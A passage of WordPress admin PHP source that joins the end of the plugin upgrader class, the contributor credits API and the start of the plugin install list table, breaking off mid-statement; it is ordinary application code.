		$this->init();
		$this->bulk = true;
		$this->upgrade_strings();

		$current = get_site_transient( 'update_plugins' );

		add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ), 10, 4 );

		$this->skin->header();

		// Connect to the filesystem first.
		$res = $this->fs_connect( array( WP_CONTENT_DIR, WP_PLUGIN_DIR ) );
		if ( ! $res ) {
			$this->skin->footer();
			return false;
		}

		$this->skin->bulk_header();

		/*
		 * Only start maintenance mode if:
		 * - running Multisite and there are one or more plugins specified, OR
		 * - a plugin with an update available is currently active.
		 * @todo For multisite, maintenance mode should only kick in for individual sites if at all possible.
		 */
		$maintenance = ( is_multisite() && ! empty( $plugins ) );
		foreach ( $plugins as $plugin ) {
			$maintenance = $maintenance || ( is_plugin_active( $plugin ) && isset( $current->response[ $plugin ] ) );
		}
		if ( $maintenance ) {
			$this->maintenance_mode( true );
		}

		$results = array();

		$this->update_count   = count( $plugins );
		$this->update_current = 0;
		foreach ( $plugins as $plugin ) {
			++$this->update_current;
			$this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true );

			if ( ! isset( $current->response[ $plugin ] ) ) {
				$this->skin->set_result( 'up_to_date' );
				$this->skin->before();
				$this->skin->feedback( 'up_to_date' );
				$this->skin->after();
				$results[ $plugin ] = true;
				continue;
			}

			// Get the URL to the zip file.
			$r = $current->response[ $plugin ];

			$this->skin->plugin_active = is_plugin_active( $plugin );

			if ( isset( $r->requires ) && ! is_wp_version_compatible( $r->requires ) ) {
				$result = new WP_Error(
					'incompatible_wp_required_version',
					sprintf(
						/* translators: 1: Current WordPress version, 2: WordPress version required by the new plugin version. */
						__( 'Your WordPress version is %1$s, however the new plugin version requires %2$s.' ),
						$wp_version,
						$r->requires
					)
				);

				$this->skin->before( $result );
				$this->skin->error( $result );
				$this->skin->after();
			} elseif ( isset( $r->requires_php ) && ! is_php_version_compatible( $r->requires_php ) ) {
				$result = new WP_Error(
					'incompatible_php_required_version',
					sprintf(
						/* translators: 1: Current PHP version, 2: PHP version required by the new plugin version. */
						__( 'The PHP version on your server is %1$s, however the new plugin version requires %2$s.' ),
						PHP_VERSION,
						$r->requires_php
					)
				);

				$this->skin->before( $result );
				$this->skin->error( $result );
				$this->skin->after();
			} else {
				add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
				$result = $this->run(
					array(
						'package'           => $r->package,
						'destination'       => WP_PLUGIN_DIR,
						'clear_destination' => true,
						'clear_working'     => true,
						'is_multi'          => true,
						'hook_extra'        => array(
							'plugin'      => $plugin,
							'temp_backup' => array(
								'slug' => dirname( $plugin ),
								'src'  => WP_PLUGIN_DIR,
								'dir'  => 'plugins',
							),
						),
					)
				);
				remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
			}

			$results[ $plugin ] = $result;

			// Prevent credentials auth screen from displaying multiple times.
			if ( false === $result ) {
				break;
			}
		} // End foreach $plugins.

		$this->maintenance_mode( false );

		// Force refresh of plugin update information.
		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );

		/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
		do_action(
			'upgrader_process_complete',
			$this,
			array(
				'action'  => 'update',
				'type'    => 'plugin',
				'bulk'    => true,
				'plugins' => $plugins,
			)
		);

		$this->skin->bulk_footer();

		$this->skin->footer();

		// Cleanup our hooks, in case something else does an upgrade on this connection.
		remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ) );

		/*
		 * Ensure any future auto-update failures trigger a failure email by removing
		 * the last failure notification from the list when plugins update successfully.
		 */
		$past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() );

		foreach ( $results as $plugin => $result ) {
			// Maintain last failure notification when plugins failed to update manually.
			if ( ! $result || is_wp_error( $result ) || ! isset( $past_failure_emails[ $plugin ] ) ) {
				continue;
			}

			unset( $past_failure_emails[ $plugin ] );
		}

		update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );

		return $results;
	}

	/**
	 * Checks that the source package contains a valid plugin.
	 *
	 * Hooked to the {@see 'upgrader_source_selection'} filter by Plugin_Upgrader::install().
	 *
	 * @since 3.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 * @global string             $wp_version    The WordPress version string.
	 *
	 * @param string $source The path to the downloaded package source.
	 * @return string|WP_Error The source as passed, or a WP_Error object on failure.
	 */
	public function check_package( $source ) {
		global $wp_filesystem, $wp_version;

		$this->new_plugin_data = array();

		if ( is_wp_error( $source ) ) {
			return $source;
		}

		$working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit( WP_CONTENT_DIR ), $source );
		if ( ! is_dir( $working_directory ) ) { // Confidence check, if the above fails, let's not prevent installation.
			return $source;
		}

		// Check that the folder contains at least 1 valid plugin.
		$files = glob( $working_directory . '*.php' );
		if ( $files ) {
			foreach ( $files as $file ) {
				$info = get_plugin_data( $file, false, false );
				if ( ! empty( $info['Name'] ) ) {
					$this->new_plugin_data = $info;
					break;
				}
			}
		}

		if ( empty( $this->new_plugin_data ) ) {
			return new WP_Error( 'incompatible_archive_no_plugins', $this->strings['incompatible_archive'], __( 'No valid plugins were found.' ) );
		}

		$requires_php = isset( $info['RequiresPHP'] ) ? $info['RequiresPHP'] : null;
		$requires_wp  = isset( $info['RequiresWP'] ) ? $info['RequiresWP'] : null;

		if ( ! is_php_version_compatible( $requires_php ) ) {
			$error = sprintf(
				/* translators: 1: Current PHP version, 2: Version required by the uploaded plugin. */
				__( 'The PHP version on your server is %1$s, however the uploaded plugin requires %2$s.' ),
				PHP_VERSION,
				$requires_php
			);

			return new WP_Error( 'incompatible_php_required_version', $this->strings['incompatible_archive'], $error );
		}

		if ( ! is_wp_version_compatible( $requires_wp ) ) {
			$error = sprintf(
				/* translators: 1: Current WordPress version, 2: Version required by the uploaded plugin. */
				__( 'Your WordPress version is %1$s, however the uploaded plugin requires %2$s.' ),
				$wp_version,
				$requires_wp
			);

			return new WP_Error( 'incompatible_wp_required_version', $this->strings['incompatible_archive'], $error );
		}

		return $source;
	}

	/**
	 * Retrieves the path to the file that contains the plugin info.
	 *
	 * This isn't used internally in the class, but is called by the skins.
	 *
	 * @since 2.8.0
	 *
	 * @return string|false The full path to the main plugin file, or false.
	 */
	public function plugin_info() {
		if ( ! is_array( $this->result ) ) {
			return false;
		}
		if ( empty( $this->result['destination_name'] ) ) {
			return false;
		}

		// Ensure to pass with leading slash.
		$plugin = get_plugins( '/' . $this->result['destination_name'] );
		if ( empty( $plugin ) ) {
			return false;
		}

		// Assume the requested plugin is the first in the list.
		$pluginfiles = array_keys( $plugin );

		return $this->result['destination_name'] . '/' . $pluginfiles[0];
	}

	/**
	 * Deactivates a plugin before it is upgraded.
	 *
	 * Hooked to the {@see 'upgrader_pre_install'} filter by Plugin_Upgrader::upgrade().
	 *
	 * @since 2.8.0
	 * @since 4.1.0 Added a return value.
	 *
	 * @param bool|WP_Error $response The installation response before the installation has started.
	 * @param array         $plugin   Plugin package arguments.
	 * @return bool|WP_Error The original `$response` parameter or WP_Error.
	 */
	public function deactivate_plugin_before_upgrade( $response, $plugin ) {

		if ( is_wp_error( $response ) ) { // Bypass.
			return $response;
		}

		// When in cron (background updates) don't deactivate the plugin, as we require a browser to reactivate it.
		if ( wp_doing_cron() ) {
			return $response;
		}

		$plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : '';
		if ( empty( $plugin ) ) {
			return new WP_Error( 'bad_request', $this->strings['bad_request'] );
		}

		if ( is_plugin_active( $plugin ) ) {
			// Deactivate the plugin silently, Prevent deactivation hooks from running.
			deactivate_plugins( $plugin, true );
		}

		return $response;
	}

	/**
	 * Turns on maintenance mode before attempting to background update an active plugin.
	 *
	 * Hooked to the {@see 'upgrader_pre_install'} filter by Plugin_Upgrader::upgrade().
	 *
	 * @since 5.4.0
	 *
	 * @param bool|WP_Error $response The installation response before the installation has started.
	 * @param array         $plugin   Plugin package arguments.
	 * @return bool|WP_Error The original `$response` parameter or WP_Error.
	 */
	public function active_before( $response, $plugin ) {
		if ( is_wp_error( $response ) ) {
			return $response;
		}

		// Only enable maintenance mode when in cron (background update).
		if ( ! wp_doing_cron() ) {
			return $response;
		}

		$plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : '';

		// Only run if plugin is active.
		if ( ! is_plugin_active( $plugin ) ) {
			return $response;
		}

		// Change to maintenance mode. Bulk edit handles this separately.
		if ( ! $this->bulk ) {
			$this->maintenance_mode( true );
		}

		return $response;
	}

	/**
	 * Turns off maintenance mode after upgrading an active plugin.
	 *
	 * Hooked to the {@see 'upgrader_post_install'} filter by Plugin_Upgrader::upgrade().
	 *
	 * @since 5.4.0
	 *
	 * @param bool|WP_Error $response The installation response after the installation has finished.
	 * @param array         $plugin   Plugin package arguments.
	 * @return bool|WP_Error The original `$response` parameter or WP_Error.
	 */
	public function active_after( $response, $plugin ) {
		if ( is_wp_error( $response ) ) {
			return $response;
		}

		// Only disable maintenance mode when in cron (background update).
		if ( ! wp_doing_cron() ) {
			return $response;
		}

		$plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : '';

		// Only run if plugin is active.
		if ( ! is_plugin_active( $plugin ) ) {
			return $response;
		}

		// Time to remove maintenance mode. Bulk edit handles this separately.
		if ( ! $this->bulk ) {
			$this->maintenance_mode( false );
		}

		return $response;
	}

	/**
	 * Deletes the old plugin during an upgrade.
	 *
	 * Hooked to the {@see 'upgrader_clear_destination'} filter by
	 * Plugin_Upgrader::upgrade() and Plugin_Upgrader::bulk_upgrade().
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param bool|WP_Error $removed            Whether the destination was cleared.
	 *                                          True on success, WP_Error on failure.
	 * @param string        $local_destination  The local package destination.
	 * @param string        $remote_destination The remote package destination.
	 * @param array         $plugin             Extra arguments passed to hooked filters.
	 * @return bool|WP_Error
	 */
	public function delete_old_plugin( $removed, $local_destination, $remote_destination, $plugin ) {
		global $wp_filesystem;

		if ( is_wp_error( $removed ) ) {
			return $removed; // Pass errors through.
		}

		$plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : '';
		if ( empty( $plugin ) ) {
			return new WP_Error( 'bad_request', $this->strings['bad_request'] );
		}

		$plugins_dir     = $wp_filesystem->wp_plugins_dir();
		$this_plugin_dir = trailingslashit( dirname( $plugins_dir . $plugin ) );

		if ( ! $wp_filesystem->exists( $this_plugin_dir ) ) { // If it's already vanished.
			return $removed;
		}

		/*
		 * If plugin is in its own directory, recursively delete the directory.
		 * Base check on if plugin includes directory separator AND that it's not the root plugin folder.
		 */
		if ( strpos( $plugin, '/' ) && $this_plugin_dir !== $plugins_dir ) {
			$deleted = $wp_filesystem->delete( $this_plugin_dir, true );
		} else {
			$deleted = $wp_filesystem->delete( $plugins_dir . $plugin );
		}

		if ( ! $deleted ) {
			return new WP_Error( 'remove_old_failed', $this->strings['remove_old_failed'] );
		}

		return true;
	}
}
<?php
/**
 * WordPress Credits Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Retrieves the contributor credits.
 *
 * @since 3.2.0
 * @since 5.6.0 Added the `$version` and `$locale` parameters.
 *
 * @param string $version WordPress version. Defaults to the current version.
 * @param string $locale  WordPress locale. Defaults to the current user's locale.
 * @return array|false A list of all of the contributors, or false on error.
 */
function wp_credits( $version = '', $locale = '' ) {
	if ( ! $version ) {
		// Include an unmodified $wp_version.
		require ABSPATH . WPINC . '/version.php';

		$version = $wp_version;
	}

	if ( ! $locale ) {
		$locale = get_user_locale();
	}

	$results = get_site_transient( 'wordpress_credits_' . $locale );

	if ( ! is_array( $results )
		|| str_contains( $version, '-' )
		|| ( isset( $results['data']['version'] ) && ! str_starts_with( $version, $results['data']['version'] ) )
	) {
		$url     = "http://api.wordpress.org/core/credits/1.1/?version={$version}&locale={$locale}";
		$options = array( 'user-agent' => 'WordPress/' . $version . '; ' . home_url( '/' ) );

		if ( wp_http_supports( array( 'ssl' ) ) ) {
			$url = set_url_scheme( $url, 'https' );
		}

		$response = wp_remote_get( $url, $options );

		if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
			return false;
		}

		$results = json_decode( wp_remote_retrieve_body( $response ), true );

		if ( ! is_array( $results ) ) {
			return false;
		}

		set_site_transient( 'wordpress_credits_' . $locale, $results, DAY_IN_SECONDS );
	}

	return $results;
}

/**
 * Retrieves the link to a contributor's WordPress.org profile page.
 *
 * @access private
 * @since 3.2.0
 *
 * @param string $display_name  The contributor's display name (passed by reference).
 * @param string $username      The contributor's username.
 * @param string $profiles      URL to the contributor's WordPress.org profile page.
 */
function _wp_credits_add_profile_link( &$display_name, $username, $profiles ) {
	$display_name = '<a href="' . esc_url( sprintf( $profiles, $username ) ) . '">' . esc_html( $display_name ) . '</a>';
}

/**
 * Retrieves the link to an external library used in WordPress.
 *
 * @access private
 * @since 3.2.0
 *
 * @param string $data External library data (passed by reference).
 */
function _wp_credits_build_object_link( &$data ) {
	$data = '<a href="' . esc_url( $data[1] ) . '">' . esc_html( $data[0] ) . '</a>';
}

/**
 * Displays the title for a given group of contributors.
 *
 * @since 5.3.0
 *
 * @param array $group_data The current contributor group.
 */
function wp_credits_section_title( $group_data = array() ) {
	if ( ! count( $group_data ) ) {
		return;
	}

	if ( $group_data['name'] ) {
		if ( 'Translators' === $group_data['name'] ) {
			// Considered a special slug in the API response. (Also, will never be returned for en_US.)
			$title = _x( 'Translators', 'Translate this to be the equivalent of English Translators in your language for the credits page Translators section' );
		} elseif ( isset( $group_data['placeholders'] ) ) {
			// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
			$title = vsprintf( translate( $group_data['name'] ), $group_data['placeholders'] );
		} else {
			// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
			$title = translate( $group_data['name'] );
		}

		echo '<h2 class="wp-people-group-title">' . esc_html( $title ) . "</h2>\n";
	}
}

/**
 * Displays a list of contributors for a given group.
 *
 * @since 5.3.0
 *
 * @param array  $credits The credits groups returned from the API.
 * @param string $slug    The current group to display.
 */
function wp_credits_section_list( $credits = array(), $slug = '' ) {
	$group_data   = isset( $credits['groups'][ $slug ] ) ? $credits['groups'][ $slug ] : array();
	$credits_data = $credits['data'];
	if ( ! count( $group_data ) ) {
		return;
	}

	if ( ! empty( $group_data['shuffle'] ) ) {
		shuffle( $group_data['data'] ); // We were going to sort by ability to pronounce "hierarchical," but that wouldn't be fair to Matt.
	}

	switch ( $group_data['type'] ) {
		case 'list':
			array_walk( $group_data['data'], '_wp_credits_add_profile_link', $credits_data['profiles'] );
			echo '<p class="wp-credits-list">' . wp_sprintf( '%l.', $group_data['data'] ) . "</p>\n\n";
			break;
		case 'libraries':
			array_walk( $group_data['data'], '_wp_credits_build_object_link' );
			echo '<p class="wp-credits-list">' . wp_sprintf( '%l.', $group_data['data'] ) . "</p>\n\n";
			break;
		default:
			$compact = 'compact' === $group_data['type'];
			$classes = 'wp-people-group ' . ( $compact ? 'compact' : '' );
			echo '<ul class="' . $classes . '" id="wp-people-group-' . $slug . '">' . "\n";
			foreach ( $group_data['data'] as $person_data ) {
				echo '<li class="wp-person" id="wp-person-' . esc_attr( $person_data[2] ) . '">' . "\n\t";
				echo '<a href="' . esc_url( sprintf( $credits_data['profiles'], $person_data[2] ) ) . '" class="web">';
				$size   = $compact ? 80 : 160;
				$data   = get_avatar_data( $person_data[1] . '@md5.gravatar.com', array( 'size' => $size ) );
				$data2x = get_avatar_data( $person_data[1] . '@md5.gravatar.com', array( 'size' => $size * 2 ) );
				echo '<span class="wp-person-avatar"><img src="' . esc_url( $data['url'] ) . '" srcset="' . esc_url( $data2x['url'] ) . ' 2x" class="gravatar" alt="" /></span>' . "\n";
				echo esc_html( $person_data[0] ) . "</a>\n\t";
				if ( ! $compact && ! empty( $person_data[3] ) ) {
					// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText
					echo '<span class="title">' . translate( $person_data[3] ) . "</span>\n";
				}
				echo "</li>\n";
			}
			echo "</ul>\n";
			break;
	}
}
<?php
/**
 * List Table API: WP_Plugin_Install_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying plugins to install in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Plugin_Install_List_Table extends WP_List_Table {

	public $order   = 'ASC';
	public $orderby = null;
	public $groups  = array();

	private $error;

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'install_plugins' );
	}

	/**
	 * Returns the list of known plugins.
	 *
	 * Uses the transient data from the updates API to determine the known
	 * installed plugins.
	 *
	 * @since 4.9.0
	 * @access protected
	 *
	 * @return array
	 */
	protected function get_installed_plugins() {
		$plugins = array();

		$plugin_info = get_site_transient( 'update_plugins' );
		if ( isset( $plugin_info->no_update ) ) {
			foreach ( $plugin_info->no_update as $plugin ) {
				if ( isset( $plugin->slug ) ) {
					$plugin->upgrade          = false;
					$plugins[ $plugin->slug ] = $plugin;
				}
			}
		}

		if ( isset( $plugin_info->response ) ) {
			foreach ( $plugin_info->response as $plugin ) {
				if ( isset( $plugin->slug ) ) {
					$plugin->upgrade          = true;
					$plugins[ $plugin->slug ] = $plugin;
				}
			}
		}

		return $plugins;
	}

	/**
	 * Returns a list of slugs of installed plugins, if known.
	 *
	 * Uses the transient data from the updates API to determine the slugs of
	 * known installed plugins. This might be better elsewhere, perhaps even
	 * within get_plugins().
	 *
	 * @since 4.0.0
	 *
	 * @return array
	 */
	protected function get_installed_plugin_slugs() {
		return array_keys( $this->get_installed_plugins() );
	}

	/**
	 * @global array  $tabs
	 * @global string $tab
	 * @global int    $paged
	 * @global string $type
	 * @global string $term
	 */
	public function prepare_items() {
		require_once ABSPATH . 'wp-admin/includes/plugin-install.php';

		global $tabs, $tab, $paged, $type, $term;

		wp_reset_vars( array( 'tab' ) );

		$paged = $this->get_pagenum();

		$per_page = 36;

		// These are the tabs which are shown on the page.
		$tabs = array();

		if ( 'search' === $tab ) {
			$tabs['search'] = __( 'Search Results' );
		}

		if ( 'beta' === $tab || str_contains( get_bloginfo( 'version' ), '-' ) ) {
			$tabs['beta'] = _x( 'Beta Testing', 'Plugin Installer' );
		}

		$tabs['featured']    = _x( 'Featured', 'Plugin Installer' );
		$tabs['popular']     = _x( 'Popular', 'Plugin Installer' );
		$tabs['recommended'] = _x( 'Recommended', 'Plugin Installer' );
		$tabs['favorites']   = _x( 'Favorites', 'Plugin Installer' );

		if ( current_user_can( 'upload_plugins' ) ) {
			/*
			 * No longer a real tab. Here for filter compatibility.
			 * Gets skipped in get_views().
			 */
			$tabs['upload'] = __( 'Upload Plugin' );
		}

		$nonmenu_tabs = array( 'plugin-information' ); // Valid actions to perform which do not have a Menu item.

		/**
		 * Filters the tabs shown on the Add Plugins screen.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $tabs The tabs shown on the Add Plugins screen. Defaults include
		 *                       'featured', 'popular', 'recommended', 'favorites', and 'upload'.
		 */
		$tabs = apply_filters( 'install_plugins_tabs', $tabs );

		/**
		 * Filters tabs not associated with a menu item on the Add Plugins screen.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $nonmenu_tabs The tabs that don't have a menu item on the Add Plugins screen.
		 */
		$nonmenu_tabs = apply_filters( 'install_plugins_nonmenu_tabs', $nonmenu_tabs );

		// If a non-valid menu tab has been selected, And it's not a non-menu action.
		if ( empty( $tab ) || ( ! isset( $tabs[ $tab ] ) && ! in_array( $tab, (array) $nonmenu_tabs, true ) ) ) {
			$tab = key( $tabs );
		}

		$installed_plugins = $this->get_installed_plugins();

		$args = array(
			'page'     => $paged,
			'per_page' => $per_page,
			// Send the locale to the API so it can provide context-sensitive results.
			'locale'   => get_user_locale(),
		);

		switch ( $tab ) {
			case 'search':
				$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
				$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';

				switch ( $type ) {
					case 'tag':
						$args['tag'] = sanitize_title_with_dashes( $term );
						break;
					case 'term':
						$args['search'] = $term;
						break;
					case 'author':
						$args['author'] = $term;
						break;
				}

				break;

			case 'featured':
			case 'popular':
			case 'new':
			case 'beta':
				$args['browse'] = $tab;
				break;
			case 'recommended':
				$args['browse'] = $tab;
				// Include the list of installed plugins so we can get relevant results.
				$args['installed_plugins'] = array_keys( $installed_plugins );
				break;

			case 'favorites':
				$action = 'save_wporg_username_' . get_current_user_id();
				if ( isset( $_GET['_wpnonce'] ) && wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), $action ) ) {
					$user = isset( $_GET['user'] ) ? wp_unslash( $_GET['user'] ) : get_user_option( 'wporg_favorites' );

					// If the save url parameter is passed with a falsey value, don't save the favorite user.
					if ( ! isset( $_GET['save'] ) || $_GET['save'] ) {
						update_user_meta( get_current_user_id(), 'wporg_favorites', $user );
					}
				} else {
					$user = get_user_option( 'wporg_favorites' );
				}
				if ( $user ) {
					$args['user'] = $user;
				} else {
					$args = false;
				}

				add_action( 'install_plugins_favorites', 'install_plugins_favorites_form', 9, 0 );
				break;

			default:
				$args = false;
				break;
		}

		/**
		 * Filters API request arguments for each Add Plugins screen tab.
		 *
		 * The dynamic portion of the hook name, `$tab`, refers to the plugin install tabs.
		 *
		 * Possible hook names include:
		 *
		 *  - `install_plugins_table_api_args_favorites`
		 *  - `install_plugins_table_api_args_featured`
		 *  - `install_plugins_table_api_args_popular`
		 *  - `install_plugins_table_api_args_recommended`
		 *  - `install_plugins_table_api_args_upload`
		 *  - `install_plugins_table_api_args_search`
		 *  - `install_plugins_table_api_args_beta`
		 *
		 * @since 3.7.0
		 *
		 * @param array|false $args Plugin install API arguments.
		 */
		$args = apply_filters( "install_plugins_table_api_args_{$tab}", $args );

		if ( ! $args ) {
			return;
		}

		$api = plugins_api( 'query_plugins', $args );

		if ( is_wp_error( $api ) ) {
			$this->error = $api;
			return;
		}

		$this->items = $api->plugins;

		if ( $this->orderby ) {
			uasort( $this->items, array( $this, 'order_callback' ) );
		}

		$this->set_pagination_args(
			array(
				'total_items' => $api->info['results'],
				'per_page'    => $args['per_page'],
			)
		);

		if ( isset( $api->info['groups'] ) ) {
			$this->groups = $api->info['groups'];
		}

		if ( $installed_plugins ) {
			$js_plugins = array_fill_keys(
				array( 'all', 'search', 'active', 'inactive', 'recently_activated', 'mustuse', 'dropins' ),
				array()
			);

			$js_plugins['all'] = array_values( wp_list_pluck( $installed_plugins, 'plugin' ) );
			$upgrade_plugins   = wp_filter_object_list( $installed_plugins, array( 'upgrade' => true ), 'and', 'plugin' );

			if ( $upgrade_plugins ) {
				$js_plugins['upgrade'] = array_values( $upgrade_plugins );
			}

			wp_localize_script(
				'updates',
				'_wpUpdatesItemCounts',
				array(
					'plugins' => $js_plugins,
					'totals'  => wp_get_update_data(),
				)
			);
		}
	}

	/**
	 */
	public function no_items() {
		if ( isset( $this->error ) ) {
			$error_message  = '<p>' . $this->error->get_error_message() . '</p>';
			$error_message .= '<p class="hide-if-no-js"><button class="button try-again">' . __( 'Try Again' ) . '</button></p>';
			wp_admin_notice(
				$error_message,
				array(
					'additional_classes' => array( 'inline', 'error' ),
					'paragraph_wrap'     => false,
				)
			);
			?>
		<?php } else { ?>
			<div class="no-plugin-results"><?php _e( 'No plugins found. Try a different search.' ); ?></div>
			<?php
		}
	}

	/**
	 * @global array $tabs
	 * @global string $tab
	 *
	 * @return array
	 */
	protected function get_views() {
		global $tabs, $tab;

		$display_tabs = array();
		foreach ( (array) $tabs as $action => $text ) {
			$display_tabs[ 'plugin-install-' . $action ] = array(
				'url'     => self_admin_url( 'plugin-install.php?tab=' . $action ),
				'label'   => $text,
				'current' => $action === $tab,
			);
		}
		// No longer a real tab.
		unset( $display_tabs['plugin-install-upload'] );

		return $this->get_views_links( $display_tabs );
	}

	/**
	 * Overrides parent views so we can use the filter bar display.
	 */
	public function views() {
		$views = $this->get_views();

		/** This filter is documented in wp-admin/includes/class-wp-list-table.php */
		$views = apply_filters( "views_{$this->screen->id}", $views );

		$this->screen->render_screen_reader_content( 'heading_views' );
		?>
<div class="wp-filter">
	<ul class="filter-links">
		<?php
		if ( ! empty( $views ) ) {
			foreach ( $views as $class => $view ) {
				$views[ $class ] = "\t<li class='$class'>$view";
			}
			echo implode( " </li>\n", $views ) . "</li>\n";
		}
		?>
	</ul>

		<?php install_search_form(); ?>
</div>
		<?php
	}

	/**
	 * Displays the plugin install table.
	 *
	 * Overrides the parent display() method to provide a different container.
	 *
	 * @since 4.0.0
	 */
	public function display() {
		$singular = $this->_args['singular'];

		$data_attr = '';

		if ( $singular ) {
			$data_attr = " data-wp-lists='list:$singular'";
		}

		$this->display_tablenav( 'top' );

		?>
<div class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
		<?php
		$this->screen->render_screen_reader_content( 'heading_list' );
		?>
	<div id="the-list"<?php echo $data_attr; ?>>
		<?php $this->display_rows_or_placeholder(); ?>
	</div>
</div>
		<?php
		$this->display_tablenav( 'bottom' );
	}

	/**
	 * @global string $tab
	 *
	 * @param string $which
	 */
	protected function display_tablenav( $which ) {
		if ( 'featured' === $GLOBALS['tab'] ) {
			return;
		}

		if ( 'top' === $which ) {
			wp_referer_field();
			?>
			<div class="tablenav top">
				<div class="alignleft actions">
					<?php
					/**
					 * Fires before the Plugin Install table header pagination is displayed.
					 *
					 * @since 2.7.0
					 */
					do_action( 'install_plugins_table_header' );
					?>
				</div>
				<?php $this->pagination( $which ); ?>
				<br class="clear" />
			</div>
		<?php } else { ?>
			<div class="tablenav bottom">
				<?php $this->pagination( $which ); ?>
				<br class="clear" />
			</div>
			<?php
		}
	}

	/**
	 * @return array
	 */
	protected function get_table_classes() {
		return array( 'widefat', $this->_args['plural'] );
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		return array();
	}

	/**
	 * @param object $plugin_a
	 * @param object $plugin_b
	 * @return int
	 */
	private function order_callback( $plugin_a, $plugin_b ) {
		$orderby = $this->orderby;
		if ( ! isset( $plugin_a->$orderby, $plugin_b->$orderby ) ) {
			return 0;
		}

		$a = $plugin_a->$orderby;
		$b = $plugin_b->$orderby;

		if ( $a === $b ) {
			return 0;
		}

		if ( 'DESC' === $this->order ) {
			return ( $a < $b ) ? 1 : -1;
		} else {
			return ( $a < $b ) ? -1 : 1;
		}
	}

	public function display_rows() {
		$plugins_allowedtags = array(
			'a'       => array(
				'href'   => array(),
				'title'  => array(),
				'target' => array(),
			),
			'abbr'    => array( 'title' => array() ),
			'acronym' => array( 'title' => array() ),
			'code'    => array(),
			'pre'     => array(),
			'em'      => array(),
			'strong'  => array(),
			'ul'      => array(),
			'ol'      => array(),
			'li'      => array(),
			'p'       => array(),
			'br'      => array(),
		);

		$plugins_group_titles = array(
			'Performance' => _x( 'Performance', 'Plugin installer group title' ),
			'Social'      => _x( 'Social', 'Plugin installer group title' ),
			'Tools'       => _x( 'Tools', 'Plugin installer group title' ),
		);

		$group = null;

		foreach ( (array) $this->items as $plugin ) {
			if ( is_object( $plugin ) ) {
				$plugin = (array) $plugin;
			}

			// Display the group heading if there is one.
			if ( isset( $plugin['group'] ) && $plugin['group'] !== $group ) {
				if ( isset( $this->groups[ $plugin['group'] ] ) ) {
					$group_name = $this->groups[ $plugin['group'] ];
					if ( isset( $plugins_group_titles[ $group_name ] ) ) {
						$group_name = $plugins_group_titles[ $group_name ];
					}
				} else {
					$group_name = $plugin['group'];
				}

				// Starting a new group, close off the divs of the last one.
				if ( ! empty( $group ) ) {
					echo '</div></div>';
				}

				echo '<div class="plugin-group"><h3>' . esc_html( $group_name ) . '</h3>';
				// Needs an extra wrapping div for nth-child selectors to work.
				echo '<div class="plugin-items">';

				$group = $plugin['group'];
			}

			$title = wp_kses( $plugin['name'], $plugins_allowedtags );

			// Remove any HTML from the description.
			$description = strip_tags( $plugin['short_description'] );

			/**
			 * Filters the plugin card description on the Add Plugins screen.
			 *
			 * @since 6.0.0
			 *
			 * @param string $description Plugin card description.
			 * @param array  $plugin      An array of plugin data. See {@see plugins_api()}
			 *                            for the list of possible values.
			 */
			$description = apply_filters( 'plugin_install_description', $description, $plugin );

			$version = wp_kses( $plugin['version'], $plugins_allowedtags );

			$name = strip_tags( $title . ' ' . $version );

			$author = wp_kses( $plugin['author'], $plugins_allowedtags );
			if ( ! empty( $author ) ) {
				/* translators: %s: Plugin author. */
				$author = ' <cite>' . sprintf( __( 'By %s' ), $author ) . '</cite>';
			}

			$requires_php = isset( $plugin['requires_php'] ) ? $plugin['requires_php'] : null;
			$requires_wp  = isset( $plugin['requires'] ) ? $plugin['requires'] : null;

			$compatible_php = is_php_version_compatible( $requires_php );
			$compatible_wp  = is_wp_version_compatible( $requires_wp );
			$tested_wp      = ( empty( $plugin['tested'] ) || version_compare( get_bloginfo( 'version' ), $plugin['tested'], '<=' ) );

			$action_links = array();

			$action_links[] = wp_get_plugin_action_button( $name, $plugin, $compatible_php, $compatible_wp );

			$details_link = self_admin_url(
				'plugin-install.php?tab=plugin-information&amp;plugin=' . $plugin['slug'] .
				'&amp;TB_iframe=true&amp;width=600&amp;height=550'
			);

			$action_links[] = sprintf(
				'<a href="%s" class="thickbox open-plugin-details-modal" aria-label="%s" data-title="%s">%s</a>',
				esc_url( $details_link ),
				/* translators: %s: Plugin name and version. */
				esc_attr( sprintf( __( 'More information about %s' ), $name ) ),
				esc_attr( $name ),
